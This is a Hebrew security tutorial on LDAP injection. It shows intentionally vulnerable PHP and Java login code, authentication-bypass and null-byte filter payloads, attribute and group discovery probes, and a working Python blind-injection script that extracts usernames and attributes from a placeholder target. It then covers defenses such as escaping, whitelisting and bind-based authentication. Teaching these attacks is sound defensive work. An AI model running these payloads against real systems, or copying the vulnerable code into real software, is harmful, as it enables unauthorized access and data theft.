לדלג לתוכן

הinjection LDAP

מבוא

LDAP (Lightweight Directory Access Protocol) הוא פרוטוקול לגישה ולניהול של שירותי ספרייה (Directory Services). הוא נפוץ מאוד בארגונים לניהול משתמשים, הרשאות, ואימות - בעיקר דרך Active Directory של Microsoft.

הinjection LDAP מתרחשת כאשר קלט המשתמש משולב ישירות בquery LDAP ללא סינון מתאים. התוצאה יכולה להיות bypass אותנטיקציה, חשיפת מידע, או שינוי הרשאות.


רקע - מבנה LDAP

מבנה הספרייה

dc=company,dc=com
    |
    +-- ou=People
    |       |
    |       +-- cn=John Smith
    |       +-- cn=Jane Doe
    |
    +-- ou=Groups
    |       |
    |       +-- cn=Admins
    |       +-- cn=Developers
    |
    +-- ou=Computers

תחביר פילטרים ב-LDAP

# Basic filter - equality
(cn=John Smith)

# AND filter - and
(&(objectClass=user)(cn=John Smith))

# OR filter - or
(|(cn=John)(cn=Jane))

# NOT filter - negation
(!(cn=John))

# Wildcard - a general character
(cn=J*)

# Complex filter - authentication
(&(uid=john)(userPassword=secret123))

תווים מיוחדים ב-LDAP

*    - Wildcard (a general character)
(    - opening parenthesis
)    - closing parenthesis
\    - Escape character
NUL  - null character
/    - slash

הinjection LDAP באותנטיקציה

קוד פגיע ב-PHP

<?php
$ldap = ldap_connect("ldap://ldap.company.com");
$username = $_POST['username'];
$password = $_POST['password'];

// Vulnerable! The input is inserted directly into the filter
$filter = "(&(uid=$username)(userPassword=$password))";

$result = ldap_search($ldap, "ou=People,dc=company,dc=com", $filter);
$entries = ldap_get_entries($ldap, $result);

if ($entries['count'] > 0) {
    echo "Login successful!";
    $_SESSION['user'] = $entries[0]['cn'][0];
} else {
    echo "Invalid credentials";
}
?>

תקיפה - bypass אותנטיקציה

# Enter in the username field:
*

# The filter becomes:
(&(uid=*)(userPassword=anything))
# Returns all users - but the password is wrong

# Enter in the username field (full bypass):
admin)(&)

# The filter becomes:
(&(uid=admin)(&))(userPassword=anything))
# The (&) part always returns true
# and the (userPassword=anything) part is ignored

# Enter in the username field:
*)(uid=*))(|(uid=*

# The filter becomes:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
# Returns all users

הbypass עם תו NULL

# Enter in the username field:
admin)%00

# The filter becomes:
(&(uid=admin)\0)(userPassword=anything))
# The null byte truncates the rest of the filter
# Depends on the implementation - works in some libraries

הinjection מבוססת OR

# Original filter
(uid=$input)

# Input:
*)(|(objectClass=*

# The filter becomes:
(uid=*)(|(objectClass=*))
# Returns all objects in the directory

חשיפת מידע עם OR

# Input that returns all objects of every type
*)(objectClass=*

# The filter becomes:
(uid=*)(objectClass=*)
# Returns everything that exists in the directory

הinjection LDAP עיוורת - Blind LDAP Injection

כאשר התגובה היא רק הצלחה/כישלון, אפשר לחלץ מידע תו אחר תו באמצעות wildcards:

הextraction שמות משתמשים

# Check: is there a user that starts with a?
(&(uid=a*)(objectClass=*))

# Check: is there a user that starts with ad?
(&(uid=ad*)(objectClass=*))

# Check: is there a user that starts with adm?
(&(uid=adm*)(objectClass=*))

# Continue until we find: admin

סקריפט אוטומטי לextraction

import requests
import string

url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + "_-."

def test_query(prefix):
    """Checks whether the filter returns results"""
    data = {
        "username": f"{prefix}*",
        "password": "anything"
    }
    response = requests.post(url, data=data)
    return "Welcome" in response.text or "success" in response.text.lower()

# Extract username
def extract_username():
    username = ""
    while True:
        found = False
        for char in charset:
            if test_query(username + char):
                username += char
                found = True
                print(f"[+] Username so far: {username}")
                break
        if not found:
            break
    return username

# Extract the value of a specific attribute
def extract_attribute(username, attribute):
    """Extracts the value of an attribute using blind injection"""
    value = ""
    while True:
        found = False
        for char in charset:
            # payload: admin)(telephoneNumber=VALUE*
            payload = f"{username})({attribute}={value}{char}*"
            data = {
                "username": payload,
                "password": "anything"
            }
            response = requests.post(url, data=data)
            if "Welcome" in response.text:
                value += char
                found = True
                print(f"[+] {attribute}: {value}")
                break
        if not found:
            break
    return value

username = extract_username()
print(f"[+] Found username: {username}")

# Extract phone number, email, description, etc.
phone = extract_attribute(username, "telephoneNumber")
email = extract_attribute(username, "mail")

הinjection LDAP ב-Java

קוד פגיע

import javax.naming.*;
import javax.naming.directory.*;

public class LDAPAuth {

    public boolean authenticate(String username, String password) {
        try {
            Hashtable<String, String> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");

            DirContext ctx = new InitialDirContext(env);

            // Vulnerable! Building the filter with string concatenation
            String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";

            SearchControls controls = new SearchControls();
            controls.setSearchScope(SearchControls.SUBTREE_SCOPE);

            NamingEnumeration<SearchResult> results =
                ctx.search("ou=People,dc=company,dc=com", filter, controls);

            return results.hasMore();

        } catch (NamingException e) {
            return false;
        }
    }
}

קוד מתוקן

public boolean authenticateSafe(String username, String password) {
    try {
        // Step 1 - validation on the input
        if (!username.matches("[a-zA-Z0-9._-]+")) {
            return false;
        }

        // Step 2 - escaping special characters
        String safeUsername = escapeLDAPFilter(username);

        // Step 3 - search for the user
        String filter = "(&(uid=" + safeUsername + ")(objectClass=person))";

        // Step 4 - authenticate via LDAP bind (not comparing the password in the filter)
        // This is the correct way - perform a bind with the user's credentials
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, "uid=" + safeUsername + ",ou=People,dc=company,dc=com");
        env.put(Context.SECURITY_CREDENTIALS, password);

        DirContext ctx = new InitialDirContext(env);
        ctx.close();
        return true;

    } catch (AuthenticationException e) {
        return false;
    } catch (NamingException e) {
        return false;
    }
}

private String escapeLDAPFilter(String input) {
    StringBuilder sb = new StringBuilder();
    for (char c : input.toCharArray()) {
        switch (c) {
            case '\\': sb.append("\\5c"); break;
            case '*':  sb.append("\\2a"); break;
            case '(':  sb.append("\\28"); break;
            case ')':  sb.append("\\29"); break;
            case '\0': sb.append("\\00"); break;
            default:   sb.append(c);
        }
    }
    return sb.toString();
}

הextraction נתונים מ-LDAP

גילוי תכונות קיימות

# Check if an attribute exists for the user
admin)(telephoneNumber=*    # Is there a phone number?
admin)(mail=*               # Is there an email?
admin)(description=*        # Is there a description?
admin)(userPassword=*       # Is there a password?
admin)(memberOf=*           # Is a member of groups?

גילוי קבוצות

# Check which group the user is in
admin)(memberOf=cn=A*       # Group that starts with A?
admin)(memberOf=cn=Ad*      # Group that starts with Ad?
admin)(memberOf=cn=Admin*   # Admins group?

הinjection LDAP מתקדמת - שינוי הרשאות

במקרים נדירים, אם הגישה ל-LDAP היא עם הרשאות כתיבה:

# Changing attributes via LDAP injection
# payload in the username field:
admin)(|(description=hacked

# If there is access to modify operations
# It's possible to change groups, descriptions, or even passwords

הגנה מפני injection LDAP

1. סינון תווים מיוחדים - Escaping

<?php
function ldap_escape_filter($input) {
    $metaChars = array(
        '\\' => '\5c',
        '*'  => '\2a',
        '('  => '\28',
        ')'  => '\29',
        "\x00" => '\00',
    );
    return str_replace(array_keys($metaChars), array_values($metaChars), $input);
}

// Usage
$safe_username = ldap_escape_filter($_POST['username']);
$filter = "(&(uid=$safe_username)(objectClass=person))";
?>

2. ולידציה על הקלט

<?php
// A whitelist of allowed characters
if (!preg_match('/^[a-zA-Z0-9._@-]+$/', $username)) {
    die("Invalid username format");
}
?>

3. אימות עם LDAP Bind

<?php
// Instead of checking the password in the filter - perform a bind
$ldap = ldap_connect("ldap://ldap.company.com");

// Search for the user first (with escaping)
$safe_user = ldap_escape_filter($username);
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", "(uid=$safe_user)");
$entries = ldap_get_entries($ldap, $result);

if ($entries['count'] == 1) {
    $user_dn = $entries[0]['dn'];
    // Attempt a bind with the DN and password
    if (@ldap_bind($ldap, $user_dn, $password)) {
        echo "Login successful!";
    }
}
?>

4. שימוש בספריות פרמטריות

# Python with python-ldap
import ldap

conn = ldap.initialize('ldap://ldap.company.com')

# Using ldap.filter.escape_filter_chars
from ldap.filter import escape_filter_chars

safe_username = escape_filter_chars(username)
filter_str = f"(&(uid={safe_username})(objectClass=person))"

results = conn.search_s("ou=People,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)

סיכום

הinjection LDAP פחות נפוצה מ-SQLi אבל עדיין מסוכנת, במיוחד בסביבות ארגוניות שמשתמשות ב-Active Directory. נקודות המפתח:

  • הפילטרים של LDAP משתמשים בתחביר מיוחד עם סוגריים ואופרטורים
  • Wildcards (*) מאפשרים extraction מידע תו אחר תו
  • תו ה-NULL יכול לחתוך את שאר הפילטר בחלק מהמימושים
  • ההגנה הטובה ביותר היא שילוב של escaping, ולידציה, ושימוש ב-LDAP bind לאימות
  • לעולם לא לשים סיסמה בתוך הפילטר - להשתמש ב-bind במקום